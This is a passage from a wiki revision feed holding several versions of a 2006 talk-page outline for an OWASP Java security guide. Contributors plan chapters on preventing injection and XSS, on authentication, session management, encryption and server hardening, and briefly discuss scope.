I suggest we do something short here for web developers, and wait on client side apps for now [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
I agree --[[User:Stephendv|Stephendv]] 09:48, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Input Validation===&lt;br /&gt;
* Overview&lt;br /&gt;
&lt;br /&gt;
==== SQL Injection====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
** White Listing&lt;br /&gt;
** Prepared Statements&lt;br /&gt;
** Stored Procedures &lt;br /&gt;
** Hibernate &lt;br /&gt;
** Ibatis &lt;br /&gt;
** Spring JDBC &lt;br /&gt;
** EJB 3.0? &lt;br /&gt;
** JDO? &lt;br /&gt;
&lt;br /&gt;
====XSS====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
** White Listing &lt;br /&gt;
** Manual HTML Encoding&lt;br /&gt;
** Preventing XSS in popular Web Frameworks&lt;br /&gt;
*** JSP/JSTL&lt;br /&gt;
*** Struts&lt;br /&gt;
*** Spring MVC&lt;br /&gt;
*** Java Server Faces&lt;br /&gt;
*** WebWork?&lt;br /&gt;
*** Wicket?&lt;br /&gt;
*** Tapestry? &lt;br /&gt;
* &amp;lt;s&amp;gt;Misc I/P Validation Attacks (e.g. HTTP Response Splitting)&amp;lt;/s&amp;gt; - Moved this out to a separate section below.  --[[User:Stephendv|Stephendv]] 08:41, 12 June 2006 (EDT)&lt;br /&gt;
* &amp;lt;s&amp;gt;Using struts&amp;lt;/s&amp;gt; Would recommend we cover a number of frameworks as mentioned above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
* CSRF attack&lt;br /&gt;
&lt;br /&gt;
==== LDAP Injection ====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
&lt;br /&gt;
==== XPATH Injection ====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
&lt;br /&gt;
==== Miscellaneous Injection Attacks ====&lt;br /&gt;
* HTTP Response splitting&lt;br /&gt;
* Command injection - Runtime.getRuntime().exec()&lt;br /&gt;
&lt;br /&gt;
=== Authentication===&lt;br /&gt;
* Storing credentials&lt;br /&gt;
* Hashing&lt;br /&gt;
* SSL Best Practices&lt;br /&gt;
* CAPTCHA systems (jcaptcha?)&lt;br /&gt;
* Container-managed authentication with Realms&lt;br /&gt;
* JAAS Authentication&lt;br /&gt;
&lt;br /&gt;
===Session Management===&lt;br /&gt;
* Logout&lt;br /&gt;
* Session Timeout&lt;br /&gt;
* Absolute Timeout&lt;br /&gt;
* Session Fixation&lt;br /&gt;
 &lt;br /&gt;
===Authorization===&lt;br /&gt;
* In presentation layer&lt;br /&gt;
* In business logic&lt;br /&gt;
* In data layer&lt;br /&gt;
* Declarative v/s Programmatic&lt;br /&gt;
* web.xml configuration&lt;br /&gt;
* [[Forced browsing]]&lt;br /&gt;
* JAAS&lt;br /&gt;
* EJB Authorization&lt;br /&gt;
* Acegi?&lt;br /&gt;
* JACC&lt;br /&gt;
* Check horizontal privilege&lt;br /&gt;
&lt;br /&gt;
===Session Management===&lt;br /&gt;
* Session Fixation&lt;br /&gt;
* Terminating sessions&lt;br /&gt;
** Terminating sessions when the browser window is closed&lt;br /&gt;
* Implementing a session timeout&lt;br /&gt;
 &lt;br /&gt;
=== Encryption===&lt;br /&gt;
* JCE&lt;br /&gt;
* Storing db secrets&lt;br /&gt;
* Encrypting JDBC connections&lt;br /&gt;
* JSSE&lt;br /&gt;
* Random number generation&lt;br /&gt;
&lt;br /&gt;
=== Error Handling &amp;amp; Logging===&lt;br /&gt;
* Output Validation&lt;br /&gt;
* Custom Errors&lt;br /&gt;
* Logging - why log? what to log? log4j, etc.&lt;br /&gt;
* Exception handling techniques&lt;br /&gt;
** fail-open/fail-closed&lt;br /&gt;
** resource cleanup&lt;br /&gt;
** finally block&lt;br /&gt;
** swallowing exceptions&lt;br /&gt;
* Exception handling frameworks&lt;br /&gt;
** Servlet spec - web.xml&lt;br /&gt;
** JSP errorPage&lt;br /&gt;
&lt;br /&gt;
=== Web Services Security ===&lt;br /&gt;
* SAML&lt;br /&gt;
* WS-Security&lt;br /&gt;
* ...?&lt;br /&gt;
&lt;br /&gt;
=== Code Analysis Tools ===&lt;br /&gt;
* FindBugs&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* PMD&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* JLint&lt;br /&gt;
* Jmetrics&lt;br /&gt;
&lt;br /&gt;
== J2EE Security For Deployers ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Popular J2EE Servers ===&lt;br /&gt;
* Securing Tomcat&lt;br /&gt;
* Securing JBoss&lt;br /&gt;
* Securing WebLogic&lt;br /&gt;
* Securing WebSphere&lt;br /&gt;
* Securing x...&lt;br /&gt;
Would be nice to include an example secure by default configuration file for each server that has additional comments in it which expands on the security repurcussions of the various sections.&lt;br /&gt;
&lt;br /&gt;
=== Defining a Java Security Policy ===&lt;br /&gt;
* Jeff's tool? --[[User:Stephendv|Stephendv]] 08:37, 12 June 2006 (EDT)&lt;br /&gt;
* jChains (www.jchains.org)&lt;br /&gt;
&lt;br /&gt;
=== Protecting Binaries ===&lt;br /&gt;
* Bytecode obfuscation&lt;br /&gt;
* Convert bytecode to native machine code&lt;br /&gt;
* jarsigner&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:OWASP_Java_Project_Roadmap&amp;diff=6127</id>
		<title>Talk:OWASP Java Project Roadmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:OWASP_Java_Project_Roadmap&amp;diff=6127"/>
				<updated>2006-06-13T04:00:23Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: /* Miscellaneous Injection Attacks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==J2EE Security for Architects==&lt;br /&gt;
&lt;br /&gt;
=== Risk Analysis===&lt;br /&gt;
To my mind, Risk Analysis is a general exercise that will apply equaly to all apps irrespective of the language used to implement the app.  So would say that this belongs in the Guide rather than the Java project, unless you have some ideas on how to make this Java specific?  --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
 I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Mapping Regulatory requirements to technical requirements===&lt;br /&gt;
Same as above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
 I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Design considerations===&lt;br /&gt;
This is quite general.  Shall we narrow it down to the architectural issues that should be considered for each of the popular architectures such as:&lt;br /&gt;
* Architectural considerations&lt;br /&gt;
** EJB Middle tier&lt;br /&gt;
** Web Services Middle tier&lt;br /&gt;
** Spring Middle tier&lt;br /&gt;
--[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Frameworks you should be aware of (e.g. struts, stinger, etc.)===&lt;br /&gt;
There are many frameworks out there, so I'd suggest we keep this down to frameworks that specifically offer security functionality such as: &lt;br /&gt;
* Acegi&lt;br /&gt;
* Commons validator&lt;br /&gt;
* jGuard &lt;br /&gt;
* Stinger seems to be parked for a while now, is this correct Jeff?&lt;br /&gt;
** Stinger is &lt;br /&gt;
** CVS HEAD is in a functional state; needs work on docs and new features - Roman&lt;br /&gt;
Most web tier frameworks will prevent XSS attacks, so listing them all in this section is a bit verbose, would prefer to see them listed in the XSS section.  --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
==J2EE Security for Developers==&lt;br /&gt;
&lt;br /&gt;
===Java Security Basics=== &lt;br /&gt;
* Class Loading&lt;br /&gt;
* Bytecode verifier&lt;br /&gt;
* The Security Manager and security.policy file&lt;br /&gt;
* jarsigner&lt;br /&gt;
I suggest we do something short here for web developers, and wait on client side apps for now [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
I agree --[[User:Stephendv|Stephendv]] 09:48, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Input Validation===&lt;br /&gt;
* Overview&lt;br /&gt;
&lt;br /&gt;
==== SQL Injection====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
** White Listing&lt;br /&gt;
** Prepared Statements&lt;br /&gt;
** Stored Procedures &lt;br /&gt;
** Hibernate &lt;br /&gt;
** Ibatis &lt;br /&gt;
** Spring JDBC &lt;br /&gt;
** EJB 3.0? &lt;br /&gt;
** JDO? &lt;br /&gt;
&lt;br /&gt;
====XSS====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
** White Listing &lt;br /&gt;
** Manual HTML Encoding&lt;br /&gt;
** Preventing XSS in popular Web Frameworks&lt;br /&gt;
*** JSP/JSTL&lt;br /&gt;
*** Struts&lt;br /&gt;
*** Spring MVC&lt;br /&gt;
*** Java Server Faces&lt;br /&gt;
*** WebWork?&lt;br /&gt;
*** Wicket?&lt;br /&gt;
*** Tapestry? &lt;br /&gt;
* &amp;lt;s&amp;gt;Misc I/P Validation Attacks (e.g. HTTP Response Splitting)&amp;lt;/s&amp;gt; - Moved this out to a separate section below.  --[[User:Stephendv|Stephendv]] 08:41, 12 June 2006 (EDT)&lt;br /&gt;
* &amp;lt;s&amp;gt;Using struts&amp;lt;/s&amp;gt; Would recommend we cover a number of frameworks as mentioned above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
* CSRF attack&lt;br /&gt;
&lt;br /&gt;
==== LDAP Injection ====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
&lt;br /&gt;
==== XPATH Injection ====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
&lt;br /&gt;
==== Miscellaneous Injection Attacks ====&lt;br /&gt;
* HTTP Response splitting&lt;br /&gt;
* Command injection - Runtime.getRuntime().exec()&lt;br /&gt;
&lt;br /&gt;
=== Authentication===&lt;br /&gt;
* Storing credentials&lt;br /&gt;
* Hashing&lt;br /&gt;
* SSL Best Practices&lt;br /&gt;
* CAPTCHA systems (jcaptcha?)&lt;br /&gt;
* Container-managed authentication with Realms&lt;br /&gt;
* JAAS Authentication&lt;br /&gt;
&lt;br /&gt;
===Session Management===&lt;br /&gt;
* Logout&lt;br /&gt;
* Session Timeout&lt;br /&gt;
* Absolute Timeout&lt;br /&gt;
* Session Fixation&lt;br /&gt;
 &lt;br /&gt;
===Authorization===&lt;br /&gt;
* In presentation layer&lt;br /&gt;
* In business logic&lt;br /&gt;
* In data layer&lt;br /&gt;
* Declarative v/s Programmatic&lt;br /&gt;
* web.xml configuration&lt;br /&gt;
* [[Forced browsing]]&lt;br /&gt;
* JAAS&lt;br /&gt;
* EJB Authorization&lt;br /&gt;
* Acegi?&lt;br /&gt;
* JACC&lt;br /&gt;
* Check horizontal privilege&lt;br /&gt;
&lt;br /&gt;
===Session Management===&lt;br /&gt;
* Session Fixation&lt;br /&gt;
* Terminating sessions&lt;br /&gt;
** Terminating sessions when the browser window is closed&lt;br /&gt;
* Implementing a session timeout&lt;br /&gt;
 &lt;br /&gt;
=== Encryption===&lt;br /&gt;
* JCE&lt;br /&gt;
* Storing db secrets&lt;br /&gt;
* Encrypting JDBC connections&lt;br /&gt;
* JSSE&lt;br /&gt;
* Random number generation&lt;br /&gt;
&lt;br /&gt;
=== Error Handling &amp;amp; Logging===&lt;br /&gt;
* Output Validation&lt;br /&gt;
* Custom Errors&lt;br /&gt;
* Logging - why log? what to log? log4j, etc.&lt;br /&gt;
* Exception handling techniques&lt;br /&gt;
** fail-open/fail-closed&lt;br /&gt;
** resource cleanup&lt;br /&gt;
** finally block&lt;br /&gt;
** swallowing exceptions&lt;br /&gt;
* Exception handling frameworks&lt;br /&gt;
** Servlet spec - web.xml&lt;br /&gt;
** JSP errorPage&lt;br /&gt;
&lt;br /&gt;
=== Web Services Security ===&lt;br /&gt;
* SAML&lt;br /&gt;
* WS-Security&lt;br /&gt;
* ...?&lt;br /&gt;
&lt;br /&gt;
=== Code Analysis Tools ===&lt;br /&gt;
* FindBugs&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* PMD&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* JLint&lt;br /&gt;
* Jmetrics&lt;br /&gt;
&lt;br /&gt;
== J2EE Security For Deployers ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Popular J2EE Servers ===&lt;br /&gt;
* Securing Tomcat&lt;br /&gt;
* Securing JBoss&lt;br /&gt;
* Securing WebLogic&lt;br /&gt;
* Securing WebSphere&lt;br /&gt;
* Securing x...&lt;br /&gt;
Would be nice to include an example secure by default configuration file for each server that has additional comments in it which expands on the security repurcussions of the various sections.&lt;br /&gt;
&lt;br /&gt;
=== Defining a Java Security Policy ===&lt;br /&gt;
* Jeff's tool? --[[User:Stephendv|Stephendv]] 08:37, 12 June 2006 (EDT)&lt;br /&gt;
* jChains (www.jchains.org)&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:OWASP_Java_Project_Roadmap&amp;diff=6126</id>
		<title>Talk:OWASP Java Project Roadmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:OWASP_Java_Project_Roadmap&amp;diff=6126"/>
				<updated>2006-06-13T03:59:26Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: /* XSS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==J2EE Security for Architects==&lt;br /&gt;
&lt;br /&gt;
=== Risk Analysis===&lt;br /&gt;
To my mind, Risk Analysis is a general exercise that will apply equaly to all apps irrespective of the language used to implement the app.  So would say that this belongs in the Guide rather than the Java project, unless you have some ideas on how to make this Java specific?  --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
 I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Mapping Regulatory requirements to technical requirements===&lt;br /&gt;
Same as above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
 I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Design considerations===&lt;br /&gt;
This is quite general.  Shall we narrow it down to the architectural issues that should be considered for each of the popular architectures such as:&lt;br /&gt;
* Architectural considerations&lt;br /&gt;
** EJB Middle tier&lt;br /&gt;
** Web Services Middle tier&lt;br /&gt;
** Spring Middle tier&lt;br /&gt;
--[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Frameworks you should be aware of (e.g. struts, stinger, etc.)===&lt;br /&gt;
There are many frameworks out there, so I'd suggest we keep this down to frameworks that specifically offer security functionality such as: &lt;br /&gt;
* Acegi&lt;br /&gt;
* Commons validator&lt;br /&gt;
* jGuard &lt;br /&gt;
* Stinger seems to be parked for a while now, is this correct Jeff?&lt;br /&gt;
** Stinger is &lt;br /&gt;
** CVS HEAD is in a functional state; needs work on docs and new features - Roman&lt;br /&gt;
Most web tier frameworks will prevent XSS attacks, so listing them all in this section is a bit verbose, would prefer to see them listed in the XSS section.  --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
==J2EE Security for Developers==&lt;br /&gt;
&lt;br /&gt;
===Java Security Basics=== &lt;br /&gt;
* Class Loading&lt;br /&gt;
* Bytecode verifier&lt;br /&gt;
* The Security Manager and security.policy file&lt;br /&gt;
* jarsigner&lt;br /&gt;
I suggest we do something short here for web developers, and wait on client side apps for now [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
I agree --[[User:Stephendv|Stephendv]] 09:48, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Input Validation===&lt;br /&gt;
* Overview&lt;br /&gt;
&lt;br /&gt;
==== SQL Injection====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
** White Listing&lt;br /&gt;
** Prepared Statements&lt;br /&gt;
** Stored Procedures &lt;br /&gt;
** Hibernate &lt;br /&gt;
** Ibatis &lt;br /&gt;
** Spring JDBC &lt;br /&gt;
** EJB 3.0? &lt;br /&gt;
** JDO? &lt;br /&gt;
&lt;br /&gt;
====XSS====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
** White Listing &lt;br /&gt;
** Manual HTML Encoding&lt;br /&gt;
** Preventing XSS in popular Web Frameworks&lt;br /&gt;
*** JSP/JSTL&lt;br /&gt;
*** Struts&lt;br /&gt;
*** Spring MVC&lt;br /&gt;
*** Java Server Faces&lt;br /&gt;
*** WebWork?&lt;br /&gt;
*** Wicket?&lt;br /&gt;
*** Tapestry? &lt;br /&gt;
* &amp;lt;s&amp;gt;Misc I/P Validation Attacks (e.g. HTTP Response Splitting)&amp;lt;/s&amp;gt; - Moved this out to a separate section below.  --[[User:Stephendv|Stephendv]] 08:41, 12 June 2006 (EDT)&lt;br /&gt;
* &amp;lt;s&amp;gt;Using struts&amp;lt;/s&amp;gt; Would recommend we cover a number of frameworks as mentioned above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
* CSRF attack&lt;br /&gt;
&lt;br /&gt;
==== LDAP Injection ====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
&lt;br /&gt;
==== XPATH Injection ====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
&lt;br /&gt;
==== Miscellaneous Injection Attacks ====&lt;br /&gt;
* HTTP Response splitting&lt;br /&gt;
&lt;br /&gt;
=== Authentication===&lt;br /&gt;
* Storing credentials&lt;br /&gt;
* Hashing&lt;br /&gt;
* SSL Best Practices&lt;br /&gt;
* CAPTCHA systems (jcaptcha?)&lt;br /&gt;
* Container-managed authentication with Realms&lt;br /&gt;
* JAAS Authentication&lt;br /&gt;
&lt;br /&gt;
===Session Management===&lt;br /&gt;
* Logout&lt;br /&gt;
* Session Timeout&lt;br /&gt;
* Absolute Timeout&lt;br /&gt;
* Session Fixation&lt;br /&gt;
 &lt;br /&gt;
===Authorization===&lt;br /&gt;
* In presentation layer&lt;br /&gt;
* In business logic&lt;br /&gt;
* In data layer&lt;br /&gt;
* Declarative v/s Programmatic&lt;br /&gt;
* web.xml configuration&lt;br /&gt;
* [[Forced browsing]]&lt;br /&gt;
* JAAS&lt;br /&gt;
* EJB Authorization&lt;br /&gt;
* Acegi?&lt;br /&gt;
* JACC&lt;br /&gt;
* Check horizontal privilege&lt;br /&gt;
&lt;br /&gt;
===Session Management===&lt;br /&gt;
* Session Fixation&lt;br /&gt;
* Terminating sessions&lt;br /&gt;
** Terminating sessions when the browser window is closed&lt;br /&gt;
* Implementing a session timeout&lt;br /&gt;
 &lt;br /&gt;
=== Encryption===&lt;br /&gt;
* JCE&lt;br /&gt;
* Storing db secrets&lt;br /&gt;
* Encrypting JDBC connections&lt;br /&gt;
* JSSE&lt;br /&gt;
* Random number generation&lt;br /&gt;
&lt;br /&gt;
=== Error Handling &amp;amp; Logging===&lt;br /&gt;
* Output Validation&lt;br /&gt;
* Custom Errors&lt;br /&gt;
* Logging - why log? what to log? log4j, etc.&lt;br /&gt;
* Exception handling techniques&lt;br /&gt;
** fail-open/fail-closed&lt;br /&gt;
** resource cleanup&lt;br /&gt;
** finally block&lt;br /&gt;
** swallowing exceptions&lt;br /&gt;
* Exception handling frameworks&lt;br /&gt;
** Servlet spec - web.xml&lt;br /&gt;
** JSP errorPage&lt;br /&gt;
&lt;br /&gt;
=== Web Services Security ===&lt;br /&gt;
* SAML&lt;br /&gt;
* WS-Security&lt;br /&gt;
* ...?&lt;br /&gt;
&lt;br /&gt;
=== Code Analysis Tools ===&lt;br /&gt;
* FindBugs&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* PMD&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* JLint&lt;br /&gt;
* Jmetrics&lt;br /&gt;
&lt;br /&gt;
== J2EE Security For Deployers ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Popular J2EE Servers ===&lt;br /&gt;
* Securing Tomcat&lt;br /&gt;
* Securing JBoss&lt;br /&gt;
* Securing WebLogic&lt;br /&gt;
* Securing WebSphere&lt;br /&gt;
* Securing x...&lt;br /&gt;
Would be nice to include an example secure by default configuration file for each server that has additional comments in it which expands on the security repurcussions of the various sections.&lt;br /&gt;
&lt;br /&gt;
=== Defining a Java Security Policy ===&lt;br /&gt;
* Jeff's tool? --[[User:Stephendv|Stephendv]] 08:37, 12 June 2006 (EDT)&lt;br /&gt;
* jChains (www.jchains.org)&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:OWASP_Java_Project_Roadmap&amp;diff=6125</id>
		<title>Talk:OWASP Java Project Roadmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:OWASP_Java_Project_Roadmap&amp;diff=6125"/>
				<updated>2006-06-13T03:56:26Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: /* Authorization */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==J2EE Security for Architects==&lt;br /&gt;
&lt;br /&gt;
=== Risk Analysis===&lt;br /&gt;
To my mind, Risk Analysis is a general exercise that will apply equaly to all apps irrespective of the language used to implement the app.  So would say that this belongs in the Guide rather than the Java project, unless you have some ideas on how to make this Java specific?  --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
 I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Mapping Regulatory requirements to technical requirements===&lt;br /&gt;
Same as above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
 I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Design considerations===&lt;br /&gt;
This is quite general.  Shall we narrow it down to the architectural issues that should be considered for each of the popular architectures such as:&lt;br /&gt;
* Architectural considerations&lt;br /&gt;
** EJB Middle tier&lt;br /&gt;
** Web Services Middle tier&lt;br /&gt;
** Spring Middle tier&lt;br /&gt;
--[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Frameworks you should be aware of (e.g. struts, stinger, etc.)===&lt;br /&gt;
There are many frameworks out there, so I'd suggest we keep this down to frameworks that specifically offer security functionality such as: &lt;br /&gt;
* Acegi&lt;br /&gt;
* Commons validator&lt;br /&gt;
* jGuard &lt;br /&gt;
* Stinger seems to be parked for a while now, is this correct Jeff?&lt;br /&gt;
** Stinger is &lt;br /&gt;
** CVS HEAD is in a functional state; needs work on docs and new features - Roman&lt;br /&gt;
Most web tier frameworks will prevent XSS attacks, so listing them all in this section is a bit verbose, would prefer to see them listed in the XSS section.  --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
==J2EE Security for Developers==&lt;br /&gt;
&lt;br /&gt;
===Java Security Basics=== &lt;br /&gt;
* Class Loading&lt;br /&gt;
* Bytecode verifier&lt;br /&gt;
* The Security Manager and security.policy file&lt;br /&gt;
* jarsigner&lt;br /&gt;
I suggest we do something short here for web developers, and wait on client side apps for now [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
I agree --[[User:Stephendv|Stephendv]] 09:48, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
===Input Validation===&lt;br /&gt;
* Overview&lt;br /&gt;
&lt;br /&gt;
==== SQL Injection====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
** White Listing&lt;br /&gt;
** Prepared Statements&lt;br /&gt;
** Stored Procedures &lt;br /&gt;
** Hibernate &lt;br /&gt;
** Ibatis &lt;br /&gt;
** Spring JDBC &lt;br /&gt;
** EJB 3.0? &lt;br /&gt;
** JDO? &lt;br /&gt;
&lt;br /&gt;
====XSS====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
** White Listing &lt;br /&gt;
** Manual HTML Encoding&lt;br /&gt;
** Preventing XSS in popular Web Frameworks&lt;br /&gt;
*** JSP&lt;br /&gt;
*** Struts&lt;br /&gt;
*** Spring MVC&lt;br /&gt;
*** Java Server Faces&lt;br /&gt;
*** WebWork?&lt;br /&gt;
*** Wicket?&lt;br /&gt;
*** Tapestry? &lt;br /&gt;
* &amp;lt;s&amp;gt;Misc I/P Validation Attacks (e.g. HTTP Response Splitting)&amp;lt;/s&amp;gt; - Moved this out to a separate section below.  --[[User:Stephendv|Stephendv]] 08:41, 12 June 2006 (EDT)&lt;br /&gt;
* &amp;lt;s&amp;gt;Using struts&amp;lt;/s&amp;gt; Would recommend we cover a number of frameworks as mentioned above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)&lt;br /&gt;
&lt;br /&gt;
==== LDAP Injection ====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
&lt;br /&gt;
==== XPATH Injection ====&lt;br /&gt;
* Overview&lt;br /&gt;
* Prevention&lt;br /&gt;
&lt;br /&gt;
==== Miscellaneous Injection Attacks ====&lt;br /&gt;
* HTTP Response splitting&lt;br /&gt;
&lt;br /&gt;
=== Authentication===&lt;br /&gt;
* Storing credentials&lt;br /&gt;
* Hashing&lt;br /&gt;
* SSL Best Practices&lt;br /&gt;
* CAPTCHA systems (jcaptcha?)&lt;br /&gt;
* Container-managed authentication with Realms&lt;br /&gt;
* JAAS Authentication&lt;br /&gt;
&lt;br /&gt;
===Session Management===&lt;br /&gt;
* Logout&lt;br /&gt;
* Session Timeout&lt;br /&gt;
* Absolute Timeout&lt;br /&gt;
* Session Fixation&lt;br /&gt;
 &lt;br /&gt;
===Authorization===&lt;br /&gt;
* In presentation layer&lt;br /&gt;
* In business logic&lt;br /&gt;
* In data layer&lt;br /&gt;
* Declarative v/s Programmatic&lt;br /&gt;
* web.xml configuration&lt;br /&gt;
* [[Forced browsing]]&lt;br /&gt;
* JAAS&lt;br /&gt;
* EJB Authorization&lt;br /&gt;
* Acegi?&lt;br /&gt;
* JACC&lt;br /&gt;
* Check horizontal privilege&lt;br /&gt;
&lt;br /&gt;
===Session Management===&lt;br /&gt;
* Session Fixation&lt;br /&gt;
* Terminating sessions&lt;br /&gt;
** Terminating sessions when the browser window is closed&lt;br /&gt;
* Implementing a session timeout&lt;br /&gt;
 &lt;br /&gt;
=== Encryption===&lt;br /&gt;
* JCE&lt;br /&gt;
* Storing db secrets&lt;br /&gt;
* Encrypting JDBC connections&lt;br /&gt;
* JSSE&lt;br /&gt;
* Random number generation&lt;br /&gt;
&lt;br /&gt;
=== Error Handling &amp;amp; Logging===&lt;br /&gt;
* Output Validation&lt;br /&gt;
* Custom Errors&lt;br /&gt;
* Logging - why log? what to log? log4j, etc.&lt;br /&gt;
* Exception handling techniques&lt;br /&gt;
** fail-open/fail-closed&lt;br /&gt;
** resource cleanup&lt;br /&gt;
** finally block&lt;br /&gt;
** swallowing exceptions&lt;br /&gt;
* Exception handling frameworks&lt;br /&gt;
** Servlet spec - web.xml&lt;br /&gt;
** JSP errorPage&lt;br /&gt;
&lt;br /&gt;
=== Web Services Security ===&lt;br /&gt;
* SAML&lt;br /&gt;
* WS-Security&lt;br /&gt;
* ...?&lt;br /&gt;
&lt;br /&gt;
=== Code Analysis Tools ===&lt;br /&gt;
* FindBugs&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* PMD&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* JLint&lt;br /&gt;
* Jmetrics&lt;br /&gt;
&lt;br /&gt;
== J2EE Security For Deployers ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Popular J2EE Servers ===&lt;br /&gt;
* Securing Tomcat&lt;br /&gt;
* Securing JBoss&lt;br /&gt;
* Securing WebLogic&lt;br /&gt;
* Securing WebSphere&lt;br /&gt;
* Securing x...&lt;br /&gt;
Would be nice to include an example secure by default configuration file for each server that has additional comments in it which expands on the security repurcussions of the various sections.&lt;br /&gt;
&lt;br /&gt;
=== Defining a Java Security Policy ===&lt;br /&gt;
* Jeff's tool? --[[User:Stephendv|Stephendv]] 08:37, 12 June 2006 (EDT)&lt;br /&gt;
* jChains (www.jchains.org)&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	</feed>